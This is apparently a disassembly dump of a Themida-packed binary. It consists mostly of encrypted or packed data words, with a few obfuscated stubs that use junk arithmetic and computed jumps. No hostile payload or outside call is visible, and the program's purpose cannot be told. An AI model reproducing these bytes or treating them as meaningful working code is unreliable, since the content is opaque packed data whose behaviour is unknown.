dd 0B707E822h, 166FB85Eh, 0B1ED268Bh, 5945CE7Bh, 0A6D89C9h
dd 3807E822h, 7AA639DFh, 62528190h, 3C0BC5FEh, 0F95CE112h
dd 0D2FB8618h, 1869C458h, 71FCA273h, 1EF5A248h, 769D4A80h
dd 0CC439828h, 34992CD2h, 0A638C3DBh, 34DFC37Dh, 63C42743h
dd 0EAB95252h, 0E2162DF6h, 2BD0296Ah, 42DB8E6h, 78CD659Bh
dd 0B15E049Ah, 8E100062h, 0DB7FE2FEh, 4CA55251h, 0F71353E3h
dd 5251DB94h, 30C369C2h, 1191h, 0E61F4900h, 0EED52974h
dd 0BBCC8329h, 0B5E9267Bh, 6FA7580Fh, 0D43FA42Fh, 36DA3FCAh
dd 9C78DD68h, 0FF127702h, 62AF149Fh, 0C34CB13Ch, 2AEB50DBh
dd 8E84E974h, 68528510h, 5F84h, 24048F54h, 4240483h, 81E68956h
dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0AB68241Ch, 89000003h
dd 68552414h, 2DB3C27h, 0E5C14D5Dh, 21B95108h, 12CC5B6h
dd 0EB8959CDh, 663B685Dh, 24890000h, 24048124h, 4, 7FF8685Ah
dd 4890000h, 8B824h, 0D0010000h, 0FF581889h, 815A2434h
dd 4C4h, 2434FF00h, 4C4815Bh, 0E9000000h, 0FFF894FCh, 5C339578h
dd 0FF42A668h, 0B64D66D2h
; ---------------------------------------------------------------------------
loc_601E44: ; CODE XREF: Themida_:loc_601017j
mov eax, 801E97Ah
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0B2h, 30h, 0A6h
dd 0C7414E77h, 48355643h, 0B1047F3Ch, 0D9FC966h, 6A38CC5Fh
dd 2A4F5207h, 0F3D83775h, 0B78FF15Eh, 3E482435h, 0E90E2B39h
dd 0B3C41E0Ch, 7A2BF860h, 74C1E078h, 7969B04Ah, 47AFE631h
dd 354A610Eh, 4B813D4Fh, 0C1C01006h, 0D2563F62h, 58BC2A55h
dd 21C0B77Ah, 0EE80Ch, 0A5720000h, 823AC63Ch, 0AF39C932h
dd 1DAB0340h, 0F5E6160h, 0C681DBB7h, 0DCC4h, 168C0Fh, 11E90000h
dd 36000000h, 0F75116A1h, 0D6963EDCh, 0C6B190A6h, 4694A05h
dd 8B66D22Bh, 3234FFDAh, 6D12B966h, 0C7BF0F5Fh, 9523C781h
dd 0DB810AF2h, 1D2A12C5h, 8644EF81h, 8B666152h, 51EF81DAh
dd 53646AD4h, 8959C28Ah, 11E8163Ch, 8D000000h, 881A20FCh
dd 48052C30h, 0AB6B584Dh, 59152925h, 58C88B66h, 81C8B70Fh
dd 178152EAh, 0DBBF0F05h, 814EC281h, 0FE80517h, 0FE000000h
dd 0AFE35BB2h, 9CA98B4Ah, 83A94881h, 0D8806CD3h, 0FA8158BFh
dd 0FFFF2428h, 1D850Fh, 8C0F0000h, 3, 0E9DBBF0Fh, 2Ah
dd 98EF721Bh, 0AC0999B4h, 739CB39Fh, 0B074BC12h, 0FF5FE91Ch
dd 28D3FFFFh, 0AED0ACACh, 5F292FAFh, 3347BB1h, 5910E73Fh
dd 2EE9C2A4h, 5B000000h, 26659Dh, 0Ah dup(0)
dd 50EE900h, 0DE380000h, 35DD8AC0h, 8F863369h, 0E32CD90Fh
dd 39D885BBh, 46FB2F65h, 0B4EAB45Dh, 5B910D07h, 63C62AEh
dd 0AEE4BA59h, 86B87DFh, 2E07E86Eh, 6CA711C8h, 0CF42A732h
dd 27EC99CFh, 7E92E777h, 97E77A20h, 0EF14AC6Dh, 0B55BC307h
dd 0BE570B08h, 9C2C55E0h, 0E6BC1D80h, 81EA43FFh, 1D8191F6h
dd 0CE314D8Dh, 0F4FFE6BCh, 962F59Bh, 0E13216D0h, 0BC177A96h
dd 0A83DFFE6h, 80A9346Ah, 0CB78AE17h, 0AAF41D45h, 48F0F05h
dd 8F3C72DBh, 2D921D81h, 0C72CB7E7h, 63C8534Bh, 3C62B0B2h
dd 0CDF648D3h, 70996B13h, 8292E7B6h, 0C268911Ch, 6DA3FB15h
dd 6A13ABD5h, 74CD5C56h, 1E98019Dh, 2E62561Fh, 2FDC82F2h
dd 7977EE4h, 5FEA537Ch, 0E6EBCD33h, 0D18BFCFFh, 74F792CAh
dd 673038h, 0A7C10000h, 78A2326Ch, 3E1D5ADAh, 59EC9279h
dd 0E772C82Dh, 1F7F92FFh, 7EE42F94h, 16A10A94h, 670FC9FAh
dd 0F7FEB829h, 38757EBFh, 15Dh, 6BA7EE00h, 0CF43A833h
dd 30DF44CFh, 829EDE6Eh, 0FFE6831Fh, 0B346EC45h, 8367215Ah
dd 2A7F0F8Fh, 52EB9E5h, 9F74215Fh, 44456FFFh, 79B487E9h
dd 0F2AC6308h, 5A983E67h, 346AA7A3h, 0D0CE44A9h, 8CE12945h
dd 67901B83h, 0A28640C1h, 4A9F2F6Fh, 0F230D6C8h, 45D0CE45h
dd 0E52D35E0h, 0A0C550B9h, 3F9EC808h, 6F288272h, 68AD107Ch
dd 69D3FFE7h, 0D0458302h, 15BB24F3h, 8BD3DA94h, 293874F3h
dd 6Ch, 346AA7BAh, 0CDD144A9h, 0F85133Dh, 1064F8C8h, 8D339C02h
dd 0AE68A1FAh, 0C75747CAh, 76019D72h, 37A0FE11h, 6BA65391h
dd 0CC43A833h, 0A12247D2h, 6498E0E7h, 5B363875h, 0C7000000h
dd 0A9346AA7h, 47D2CC44h, 5D5C31E2h, 53E6A0BAh, 0E146D13Ah
dd 7FE46F2Fh, 45860A94h, 75FE38Bh, 4D48ABC7h, 156EFFE7h
dd 5034EE6Fh, 0F0A7DDC1h, 0C40D92BCh, 3BCFE750h, 742AE895h
dd 0C957BDE9h, 0FE86FFE6h, 0C93FA2BEh, 0C65FFE6h, 242BE566h
dd 3874D4ECh, 18Ah, 6EA71B00h, 4976A030h, 12028C10h, 0CD1DB056h
dd 6CC329A3h, 3DE3EC8Fh, 901B8390h, 371BD5FEh, 0D9184DEh
dd 0BAF05982h, 0A0303059h, 32D8C64Bh, 0FD207E9Ah, 0E53E07E0h
dd 801EF55Ah, 0EC769D4Ah, 810C7529h, 0E0F6F055h, 4383DB07h
dd 0E0F7C427h, 0F399F207h, 3FD4B872h, 5191295Fh, 0E0F7D235h
dd 0A76B0007h, 0DA436CF7h, 0F7CB2E4Ah, 0A0F907E0h, 0D8C64DFAh
dd 732BE84Dh, 0E19BCCE8h, 528816FDh, 6F034A82h, 12AE840h
dd 0F3790000h, 1E3ACA96h, 7E0B8C8h, 8DF27DD6h, 4AE21886h
dd 0B88BEE0Ah, 4E6A07E0h, 7E0B7EBh, 267FC019h, 5E40D380h
dd 0F9A56ED3h, 6721526Eh, 0CBE79083h, 7E0B868h, 3CCC358Eh
dd 0B87DE0FCh, 4AA307E0h, 8ECE66A4h, 59C5D939h, 7E0B7F6h
dd 4D1DC31Ch, 406EC415h, 346AA7FCh, 40AD8Eh, 1D5D0000h
dd 0E0AC9E01h, 0C56BC407h, 0C69AF30Eh, 83971A36h, 0E43D7FE6h
dd 82CA2D59h, 7EA77FE6h, 0E0612CC4h, 0E68261C4h, 0CD368F7Fh
dd 829E213Dh, 0EB44FFE6h, 49C81DB5h, 0FBA1CA55h, 8B14h
dd 96F3AD00h, 0BAFA3ACAh, 0E6833B9Eh, 6A1069FFh, 0E09A8CF6h
dd 85DA5A07h, 40A30F8Fh, 6607E099h, 0B419A40Dh, 71093F5Fh
dd 1AA5F91Ch, 759E4BF1h, 0FA6F9929h, 40B13DE5h, 7CCC5F05h
dd 20B0EE27h, 0E13AA104h, 0D076CF07h, 0E13AF45Ch, 0B46EAF07h
dd 255B43D0h, 8487638Dh, 62450ECAh, 0BF4A54BDh, 0FA8FF096h
dd 0B1BAD666h, 330FE329h, 29EA4FDAh, 2F58EA75h, 0B4ACDD75h
dd 2240CF24h, 0FC25B0EEh, 3955ED93h, 17E3BF30h, 70275DB6h
dd 0F4AA67BCh, 399A4069h, 40801050h, 0D63929EBh, 45B95FC8h
dd 7E86E3Ch, 2186116Ah, 0C976ACF2h, 9DC9544Ah, 364CDA89h
dd 0E6CA84BDh, 0A33B712Dh, 9E44763h, 0B912264Ch, 0F1AD6613h
dd 900E0166h, 3569AB00h, 48DB81AAh, 0EFD38DB6h, 0CDD13E24h
dd 7AB01942h, 62A2B8E2h, 77E623E5h, 467803FDh, 781E1CCAh
dd 0CB5648CBh, 0B0EE267Bh, 0D98060Bh, 3573EE4h, 0F0000000h
dd 6FA75CBBh, 0D43FA42Fh, 36DA3FCAh, 9C78DD68h, 0FF127702h
dd 62AF149Fh, 0C34CB13Ch, 2AEB50DBh, 8E84E974h, 52528510h
dd 0B850E289h, 66FE51D2h, 1AE3205h, 58C20199h, 8704EA83h
dd 505C2414h, 405E089h, 2D000000h, 4, 5C240487h
; ---------------------------------------------------------------------------
mov [esp], ebx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
mov ebx, 186E726Fh
shr ebx, 6
push eax
mov eax, 39F81055h
or ebx, eax
pop eax
shr ebx, 8
sub ebx, 0F8380E28h
push 1FE7h
mov [esp], esp
add dword ptr [esp], 4
pop eax
push ebp
push ebx
sub dword ptr [esp], 37037132h
pop ebp
add ebp, 37037132h
mov [eax+8], ebp
pop ebp
push dword ptr [esp]
pop eax
add esp, 4
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_58B334
; ---------------------------------------------------------------------------
db 0C8h, 0C0h, 34h
; ---------------------------------------------------------------------------
mov eax, 801F006h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 37h, 9Bh, 0F6h
dd 32F8861Eh, 13202B20h, 74BA6039h, 2D83DA32h, 62991E1Ah
dd 0FC8A5952h, 0A6CE6A71h, 624F7820h, 0B7BDA03h, 0C9810632h
dd 0E0E9627Eh, 0E24D523Dh, 7F12FD58h, 9B9E8E72h, 51C5E66Bh
dd 0CFCCE737h, 74CF4144h, 9824780Eh, 0C2DA7B7Bh, 0E27ED53h
dd 0F1D63679h, 8E7B602Eh, 0F1267F3Ah, 0DE85Ah, 981B0000h
dd 0B52CC010h, 0A1E4250Ch, 66A4A134h, 2F04C981h, 19810F5Fh
dd 0E8000000h, 0Dh, 2CF0958Fh, 303502C5h, 9E5B5FB3h, 800FBEh
dd 5B000000h, 6957C781h, 0C1810000h, 63C34709h, 0BEh, 12E800h
dd 0BE550000h, 15DAB13Ch, 4B70AC4Ch, 0CB8BBC17h, 735290F1h
dd 5BCEBF0Fh, 0E937048Bh, 0Ch, 0BB19D812h, 65F4EBA5h, 983655A5h
dd 1469E881h, 7E85A38h, 99000000h, 9916B9EFh, 0C3806E4Bh
dd 0C0815B5Ch, 6C1E12C6h, 3820Fh, 8B660000h, 0DC081D7h
dd 0E9447DC6h, 6, 1963BB2Fh, 4893C2Ch, 0F2805037h, 0EE95B88h
dd 18000000h, 4C511DFCh, 6E74DF28h, 0E5E77AACh, 2EE8367h
dd 4EC2D980h, 13E94Eh, 0DEFE0000h, 0E5F2A002h, 9089A344h
dd 27FAFF5Ah, 1042712Fh, 98FE81AAh, 0FFFFF97h, 0FFFF6F85h
dd 2DBA66FFh, 12E81Bh, 0B9C50000h, 0E83AC46Ch, 3C98E737h
dd 209FE34Bh, 5AFFFA67h, 0DE9h, 1680AB00h, 79589B22h, 0C2698E1h
dd 8B5A1BECh, 0AAC281CEh, 6600005Eh, 0DB33C18Bh, 348BCF8Ah
dd 81C38B1Ah, 51CC1AEEh, 0B860F4Fh, 0E9000000h, 6, 630B7343h
dd 0F68104A9h, 0EEE0A4Dh, 81C7B70Fh, 0BFA2A2EEh, 28B0F51h
dd 8B000000h, 0E95756CBh, 5, 7341B011h, 48F5921h, 23B5FC1Ah
dd 6003EB83h, 12E9h, 8962800h, 2AF7FF0Dh, 7AEFC43Fh, 9B9ABCF8h
dd 662DED10h, 61A12BBFh, 0CCE9B94Bh, 0FB811033h, 0FFFFA214h
dd 0FF88850Fh, 11E9FFFFh, 0DB000000h, 0F7736F4Ah, 29D59F3Eh
dd 0AC9FFF25h, 0E280F755h, 0ECE9h, 0
dd 81063700h, 81CE037Ch, 80C0587Ch, 9010057Ch, 9010ED7Ch
dd 0F200007Ch, 276h, 5 dup(0)
dd 80ADA000h, 7Ch, 2Bh dup(0)
dd 600h, 3CB02C00h, 11EF2232h, 314A9016h, 2455F7FEh, 6AAA416Ah
dd 0AC061301h, 41A54848h, 1564063Dh, 74064432h, 0D8DBA153h
dd 1561EB18h, 0A8E58147h, 129C5CABh, 457F5632h, 0ADA69A61h
dd 15668C23h, 35AFC1BBh, 88EB25C8h, 129AF316h, 4D3D5BCDh
dd 0DFFF9B1h, 616625C8h, 0AD354125h, 15668C23h, 35AFC1BBh
dd 88EB25C8h, 129ACE21h, 4D3D5BCDh, 1569ADC7h, 0D21D2232h
dd 0E1EB153Ah, 39EB24A5h, 0CB1E6AE2h, 1CE22D66h, 75661132h
dd 15E187CAh, 74664432h, 46A5AB61h, 969E4A6Ah, 1494608Fh
dd 9169443Ah, 15662257h, 156600DBh, 5147BE32h, 0B2D9A19Dh
dd 0FF7EE539h, 0B8B00EB2h, 90EB3A79h, 1D672842h, 156631DBh
dd 238BA32h, 1C9CC96Bh, 3273F37Dh, 9F53DE42h, 0BF6E9C62h
dd 956958CDh, 15664433h, 0B5E3AFCEh, 0FC6E105Eh, 15668839h
dd 931A8841h, 49107B60h, 0EA227B6Fh, 9969E8E2h, 15664437h
dd 5021ED89h, 0CAED772Ah, 70E34E53h, 4361BE34h, 1567A93Dh
dd 0EC9F1132h, 0BDDEDA5Ah, 0A099BDAEh, 129C02A7h, 156AF952h
dd 0D1FC8832h, 1DEA1C6Ah, 0CABCE1E1h, 9B6949C4h, 15668832h
dd 1563AD6Ch, 0E9042232h, 740488BDh, 0B6BB0DBFh, 956943CFh
dd 1566223Eh, 156616DBh, 0B74DB032h, 416EB3DFh, 9C9FF2CDh
dd 0EF6D94B7h, 0CAE7E835h, 5F8FEAB3h, 74A59D3Dh, 19B794F5h
dd 15668FC8h, 1A8F4432h, 2D662232h, 1021ADC1h, 0AF9202C3h
dd 0DA4F3B44h, 90A0AB37h, 129C1757h, 7C0E7077h, 0FCE8365Bh
dd 15662239h, 14EE5025h, 0F6B0E540h, 0EAC8ABCAh, 0EF6E8787h
dd 156AF835h, 0C5318832h, 0CBB216D1h, 8119692Ah, 90EBA0C0h
dd 129CB2D0h, 156648DBh, 586BB432h, 0A88F72F9h, 1D72648h
dd 0FCB6BBB0h, 1566223Dh, 0FB689E9h, 82794F2Ah, 948AB603h
dd 9C2E820Ah, 0EF4CB8B7h, 7507E835h, 70E38253h, 5661D834h
dd 1574F952h, 0FA408832h, 94722A7Eh, 3546A0A2h, 1AE1562Ch
dd 24BF4D7Fh, 743DB3B9h, 720D7C5Ah, 0A099EDAEh, 129C8097h
dd 156643DBh, 4CB98132h, 848F0E0Bh, 2F840DBFh, 0EA9E43C8h
dd 1560CBE2h, 97DB1132h, 144F179h, 15664BDBh, 2F9F5232h
dd 0E0D5B7F9h, 989FF5A3h, 6C713A25h, 0E7B6A7BBh, 99691933h
dd 15668825h, 0FC391652h, 1566223Ch, 9E087CE8h, 1301D5Fh
dd 52D5FFBh, 0D307AB0Fh, 0EF6074B7h, 128FDC35h, 9D664432h
dd 5A9E618Ah, 3C0E0B1Eh, 1A88EA5Ah, 156645B1h, 0A099DA32h
dd 129C1997h, 0F7E305CAh, 1A61BE08h, 156633B1h, 0A2697132h
dd 156060E4h, 0FCC04432h, 0ED9EE4A8h, 0C599706Bh, 78F7052h
dd 32664432h, 7819B8DAh, 0B338C33h, 33B23250h, 7BADA6F2h
dd 90EF432Bh, 1D67E3E6h, 70E34EC7h, 5061BE34h, 156AA23Dh
dd 94691132h, 15668834h, 1566CD3Dh, 0D70E2232h, 0FCBC710Ah
dd 15668820h, 0FA7F609Dh, 65CE470Bh, 995A5A25h, 4C591D7Eh
dd 0A09999EBh, 129C2A97h, 15661FDBh, 0FC995732h, 0CD8B1983h
dd 0B7538608h, 987A2335h, 0EF5C6AB7h, 0C599B835h, 0CDE3ABCBh
dd 1A6E10C0h, 156687BCh, 156CAD32h, 0C9962232h, 348BAD93h
dd 44284F23h, 156ECE3Dh, 98692232h, 15661130h, 0A8E5E952h
dd 129C77DFh, 0EE32D32h, 75661133h, 7596373Dh, 0D30725CEh
dd 0EF6047B7h, 93695435h, 15668825h, 1577C33Dh, 198F2232h
dd 0BB661132h, 0D95C38D6h, 7E57AA27h, 7DF06CC0h, 0EF466FB4h
dd 15668FDBh, 2AFB9732h, 31C7723h, 1DC3A4CDh, 92698FC8h
dd 15664438h, 156627DBh, 63D18B32h, 90EB9D00h, 129C7ED0h
dd 1567A73Dh, 0EA9E1132h, 9869E8E2h, 15664430h, 0BEDF8E86h
dd 740B4DAEh, 0E7BA0DBBh, 98694C33h, 15662233h, 70E3D7C7h
dd 59617234h, 0C5A52CCEh, 0EA9EC214h, 0EF6EB487h, 156D6135h
dd 0B86B4432h, 9F1536C2h, 495B64BCh, 0F7E30580h, 0FC61BE08h
dd 15662226h, 98657343h, 5DEA903Bh, 37D09A78h, 0F9972D49h
dd 12FA96BCh, 58F58CDh, 25664432h, 0C912A73Bh, 0A430A937h
dd 0D5B99C1Eh, 9C00D417h, 1494C2B7h, 18F713Ah, 61668832h
dd 7892372Ch, 3041522Ah, 91206E5Fh, 0B439D1DFh, 1A87196Fh
dd 156620B4h, 743D4232h, 156672DBh, 1576AD32h, 9BE32232h
dd 0E3FA594Ch, 0B725527Dh, 2B9DF1A7h, 90A07109h, 129C1757h
dd 14E98760h, 0EC664432h, 5F822F5Ah, 108E718Eh, 0B7668832h
dd 8AC41996h, 156629DAh, 49364232h, 805F3765h, 0F4651248h
dd 94007869h, 74F86FF3h, 3FDB3DCDh, 989F43C8h, 0EF5CC0B7h
dd 1563F835h, 0FE658832h, 0EA74B108h, 156FCBE2h, 0AAC21132h
dd 0CF45FD9Eh, 9C38068Dh, 1494FEB7h, 90A0ED3Ah, 129C8E57h
dd 1A062460h, 156622B9h, 58E7032h, 0A4668832h, 0C9C1BE4Dh
dd 0E66C2DFCh, 0D34F05C4h, 0FCDC4FFFh, 15664434h, 0E86ACF7Bh
dd 7439312Ah, 592CC05Ah, 75932494h, 0AF007C60h, 7407F42Bh
dd 3FDB3DCDh, 989F43C8h, 0EF5CC0B7h, 0EA077135h, 7506E8E2h
dd 15EB4B53h, 74662232h, 1A0670C7h, 15668EB2h, 15EC4B32h
dd 73662232h, 9C07CBB9h, 149468B7h, 1563AD3Ah, 0FBFB2232h
dd 0D38C03DBh, 0EF60EDB7h, 0A1061635h, 906943EFh, 1566113Eh
dd 1560023Dh, 98694432h, 15662232h, 57D2FB5Ah, 0D2EDE8CFh
dd 0FC3D1552h, 15662239h, 4D148BCFh, 197A9774h, 74161BD0h
dd 0B0D3DD53h, 0E961EB3Ah, 2F840DBFh, 0EA9E43C8h, 90EFDEE2h
dd 129C095Fh, 15668DDBh, 0FE320B32h, 90A05057h, 129C1757h
dd 0B60E7145h, 7595D39Ah, 156633DAh, 0CE43DC32h, 539F6C8Fh
dd 4BDAD8DCh, 0AE304090h, 0AA69DB0Ah, 0CBE7D3F2h, 3F887084h
dd 0D3DD53h, 7561EB37h, 0C7E7EEC7h, 98070F7Dh, 0EF5CC0B7h
dd 1574F835h, 939D8832h, 9E9B5525h, 0DC21D78h, 3769C713h
dd 46B750E8h, 0D4E72252h, 0C5EDB5C4h, 1AB6EE53h, 15669FB8h
dd 1574AD32h, 77A42232h, 19D59E04h, 50289B79h, 0FF126FD8h
dd 0BCDF8AF6h, 30B94BBh, 95698FC8h, 15664433h, 1560CBC7h
dd 0C2A61132h, 46A6B523h, 1303C1F4h, 0FC3425C8h, 15661121h
dd 0AE360088h, 6C2CB150h, 778741B1h, 0B57B54A1h, 7DA646B5h
dd 9FBB7525h, 156BA83Dh, 73061132h, 8B594FB3h, 1566CC3Dh
dd 0EA072232h, 0EF6EB487h, 1DE98735h, 75664432h, 0BBADF8B3h
dd 0FC075246h, 15668820h, 0DF5C399h, 21447BD4h, 0FA6A661Ah
dd 201DE820h, 90EB338Dh, 129C18D0h, 15739F3Dh, 58F8832h
dd 30664432h, 0E58F2E8Bh, 2213B922h, 5BC22DD8h, 0EA5DEDA2h
dd 1B8F42E2h, 0D2661132h, 58707D34h, 0D977E0D4h, 0E729BC88h
dd 749D9A98h, 4AB0DBBh, 198F43C8h, 9C662232h, 0C2F883FEh
dd 78BDBD7Dh, 0D3D6A997h, 0EF6047B7h, 9E064735h, 749503E8h
dd 0A0B7D5Ah, 0A099DEE6h, 129C31A7h, 0C8E305CAh, 7561B991h
dd 156629DBh, 0FD025932h, 0C6940683h, 6700057Fh, 156636DAh
dd 8DC91032h, 622B6946h, 72151BA9h, 2455DA25h, 37EF284h
dd 4BA43DD8h, 0FCB6BB53h, 1566223Dh, 0C9D428F0h, 0D0B9B759h
dd 4B928AE1h, 9CF234D8h, 0EF6664B7h, 3EF8735h, 75664432h
dd 0FDA4A954h, 15661139h, 0F517B53Ah, 9B30CB81h, 4E3ADE7Bh
dd 70E3D753h, 52617234h, 15664EDBh, 55DB7D32h, 64AFEB33h
dd 7D0F7FE6h, 94BA5448h, 0DED12D52h, 574FC0B3h, 0EA079BF3h
dd 0EF6EE187h, 48F4235h, 5E661132h, 0A7350081h, 86F39C6Ch
dd 7E8C2714h, 995116AFh, 168C0954h, 90EB25D6h, 129C18D0h
dd 75B6EECAh
dd 0E5890954h, 0AC0013D5h, 743FF5AEh, 186B94BBh, 1B8F8FC8h
dd 84664432h, 54B3850Bh, 0FBB73C6Ch, 59423C07h, 70E382BFh
dd 5261D834h, 156601DBh, 3173EA32h, 27DD443Dh, 0F276971Ah
dd 7C271769h, 0A084E033h, 9969CE3Dh, 1566223Eh, 156616DBh
dd 5C4E0E32h, 0ECB8D334h, 1DC397CDh, 188F16C8h, 0B4668832h
dd 4831DE62h, 4A533951h, 0CA2F05Fh, 2F840DBFh, 0EA9343C8h
dd 1B8F42E2h, 68661132h, 0F7953E73h, 23E9D77Eh, 5AC375E0h
dd 5D37121h, 90EFE953h, 1D67B732h, 4B354252h, 90A17053h
dd 129C899Fh, 1566444Ah, 1567A03Dh, 96931132h, 0EF40798Fh
dd 91694435h, 15663B97h, 156E9B3Dh, 1A068832h, 156644BBh
dd 90A04332h, 129C1757h, 9E00E87Eh, 0D1AFC5C2h, 7477C5D4h
dd 0CF7AF85Ah, 157761EBh, 4D9B4432h, 7E0C8889h, 0DDB6272Fh
dd 4C618753h, 0EA4D1DA3h, 0EF6E8787h, 0DE21E35h, 0FC668832h
dd 15664421h, 0AECCD07Dh, 0E4D8C16Eh, 0A08DCCDFh, 0B52AC43h
dd 0FC8B4F81h, 15661137h, 64847EEBh, 0F7E3C90Dh, 0FC61D808h
dd 1566113Ch, 2F0C1B6Bh, 1C06946Ch, 833E0067h, 0C599674Ah
dd 0F9E301C7h, 0FC6E45C0h, 15662239h, 621B3EF1h, 0A64825F9h
dd 0D300974Fh, 0EF6047B7h, 0A3065D35h, 0EF950916h, 7460D429h
dd 61B8EC5Ah, 19E61EEFh, 1A668832h, 156642BFh, 15EC2D32h
dd 0EA661132h, 0EF6E2D87h, 0CE54B35h, 0FC662232h, 15661126h
dd 31167782h, 96B2290Ah, 614F007Eh, 0AD9831F2h, 4CEF325Bh
dd 2F84C1BFh, 0EA9F25C8h, 90EFE8E2h, 1D677AC2h, 0D5D92252h
dd 74E9930Eh, 0D2E77752h, 9E00969Fh, 90A025C9h, 129C2457h
dd 18ED1E7Eh, 0FC668832h, 1566443Ah, 21E43EA7h, 0AED2737Ah
dd 15669CDBh, 0ECC0A532h, 4339BA52h, 7AFAC2Ch, 0EAFD5FB8h
dd 682A3047h, 97594AB4h, 9969A6B3h, 1566882Fh, 1575AC52h
dd 692F2232h, 157D215Fh, 0E320D9E5h, 29734EF3h, 65FF0F64h
dd 74064B8Ch, 0A0997D53h, 129C4C97h, 156636DBh, 2C533432h
dd 59230F1h, 6095DBDEh, 555E8332h, 0B72054C0h, 0F7E30508h
dd 0E961BE08h, 48FF2CDh, 7C661132h, 9D720FE4h, 785AFEC8h
dd 0C00C76C2h, 41C64564h, 0E1E301CEh, 0FC6E45C0h, 15662222h
dd 7712D227h, 9C1A8D1Ah, 7A997189h, 0D7B0C8ACh, 130394F4h
dd 752A8FC8h, 36FCFA54h, 0D0E43C7h, 75D53E72h, 0EA0758B9h
dd 0EF6EE187h, 19E82D35h, 0FC661132h, 15668835h, 193C533Bh
dd 98586AF2h, 0EF5CF3B7h, 14E48735h, 0E9664432h, 1E8FF2CDh
dd 1E661132h, 19123D16h, 0F2A0B768h, 90EFCE53h, 1D67E3C6h
dd 9FD9E852h, 1A64C6BAh, 156622BFh, 0A2697032h, 90A0E9F5h
dd 129C4257h, 10EDB74h, 1ADCCF34h, 156689BDh, 0A099B132h
dd 129C2A97h, 15661EDBh, 0AC88E532h, 1D07C75h, 0F6175C5Bh
dd 54F0124Fh, 15690B3Dh, 1F8F4432h, 51662232h, 4165CA11h
dd 57C5EF4Dh, 0F7E3C9E8h, 0FC61D808h, 15661138h, 820F87B1h
dd 8F07C9F9h, 0C5997FFCh, 156616DBh, 0EF98C32h, 0E35304C3h
dd 0E79AA7BBh, 0D39E1933h, 0EF60EDB7h, 188F0335h, 0E3662232h
dd 7A49D481h, 0EB508BCh, 960AFAB7h, 0C976585Ah, 14E51EB3h
dd 0E0668832h, 1DC3F1CDh, 750625C8h, 63BDC6B3h, 4A36D0F8h
dd 1568AC53h, 0AE232232h, 0FE52B233h, 0EA3046B7h, 1AFB67B4h
dd 13E5C8B3h, 743C2AF8h, 2F840DBFh, 0EA9F43C8h, 1568CBE2h
dd 0C61E1132h, 6E30AA01h, 7C9D3A21h, 0FA299339h, 0E66294BBh
dd 1A8F8033h, 2C664432h, 0EEEBB778h, 2A9518A4h, 91958825h
dd 0D39F7B8Ah, 0EF6047B7h, 1A065635h, 1A075985h, 156648B7h
dd 13E12D32h, 1A661132h, 156688B2h, 9BCA2C32h, 9B69CDB5h
dd 15661133h, 156961CAh, 3B044432h, 0C1F77808h, 401524E5h
dd 2D6058A6h, 0B0D3BB5Dh, 7561D83Ah, 156618DAh, 0EAE3CA32h
dd 95BE470Dh, 0AB001B0Fh, 1A3EA3B7h, 15668ABCh, 743D1632h
dd 1572AA3Dh, 1A8F1132h, 4A668832h, 279C948Ah, 2C3E7963h
dd 6991E07Ah, 90EB0F31h, 129C7ED0h, 1AB6DDCEh, 156610B7h
dd 90EF7132h, 1D67B73Ah, 70E3E4CAh, 5261EB34h, 156685DBh
dd 22AF8C32h, 3831483Ch, 79BF4762h, 0C70E46D6h, 0E9B2DE95h
dd 1DC397CDh, 730616C8h, 0AA5F418Dh, 12C37EC8h, 0F7E3AF53h
dd 0ED61EB08h, 0FD0658CDh, 1566443Ch, 934B67D1h, 0BC1EBED3h
dd 8F572A1h, 0AA00969Ch, 733CADA9h, 9C07C2B9h, 149584B7h
dd 90A0B83Ah, 129C2457h, 156DF875h, 73928832h, 232F3CFDh
dd 0DF3E9416h, 940071AEh, 74A29CF2h, 0D45F405Ah, 0FE52D88h
dd 75661132h, 48FD061h, 0F664432h, 12426F0Eh, 8F7CCBA6h
dd 3685A73Bh, 7A52F35Ah, 0B0D3DD53h, 7561EB3Ah, 156685DBh
dd 0AFE98332h, 44536F4Dh, 81F0ADA6h, 0AD003569h, 980721D2h
dd 0EF5CC0B7h, 0C599E435h, 156698DBh, 2BFECD32h, 0D2D51A88h
dd 75CEA402h, 0FF053E83h, 5E3CD8Bh, 0E96E23C1h, 347FACB1h
dd 1A668FC8h, 1566DCB7h, 13ED2D32h, 75661132h, 0E5EDE952h
dd 90A0BC53h, 129C2457h, 720EE975h, 1A86FA1Fh, 156645B2h
dd 0A099DB32h, 129C1997h, 0F7E305CBh, 7561BE08h, 1565A63Dh
dd 0A2691132h, 1E8FE9FAh, 40664432h, 5C17E64Bh, 1624D31Fh
dd 0C5999E9Fh, 198F2452h, 96662232h, 53C36D73h, 84F64EB0h
dd 0AFE2A080h, 75593919h, 156FF953h, 0D85E8832h, 629DC84Bh
dd 1AF9A03Bh, 743DE88Dh, 0E6720DBBh, 9D694C33h, 15662227h
dd 188FE452h, 0CA668832h, 3000FE36h, 0F44A2ED4h, 0E68F3027h
dd 70E34E53h, 5261BE34h, 156627DBh, 0F7A96132h, 0A40E1D62h
dd 0FCE86D81h, 15662226h, 205AB3DAh, 0A58FFF8h, 0B6FC70B6h
dd 0D7B1F9B5h, 5FD1DFE6h, 1DC33DCDh, 9C6943C8h, 15662239h
dd 156617DBh, 55149A32h, 98A7595Eh, 0EF5CC0B7h, 14E81E35h
dd 0E9668832h, 1B8F94CDh, 78662232h, 8494A569h, 12D0F58Eh
dd 41D99874h, 0DE3ABE9h, 756E10C1h, 0BCC5FB3h, 9400640Dh
dd 7430DED5h, 130394F4h, 0EC258FC8h, 632CE35Ah, 9E0042F2h
dd 740643EBh, 0A099E96Dh, 129C4C97h, 0F7E3AFCBh, 1A61EB08h
dd 156692B0h, 1EA4B32h, 0FC662232h, 1566113Dh, 4925B4E2h
dd 0C201F7EAh, 9DCAE69Ch, 0EAFA79B0h, 32E287E2h, 75664432h
dd 15662BDAh, 6CB78F32h, 975ECB4Ah, 0FD3F6F0Ah, 15662222h
dd 60CBA13Fh, 55A3F2A8h, 1676158Bh, 951B6C49h, 90EF7068h
dd 1D677B2Eh, 5B24FE52h, 1C8F6985h, 10661132h, 0C28C7172h
dd 2322A649h, 1574CB53h, 0C7FE1132h, 72A3334Bh, 48D228BBh
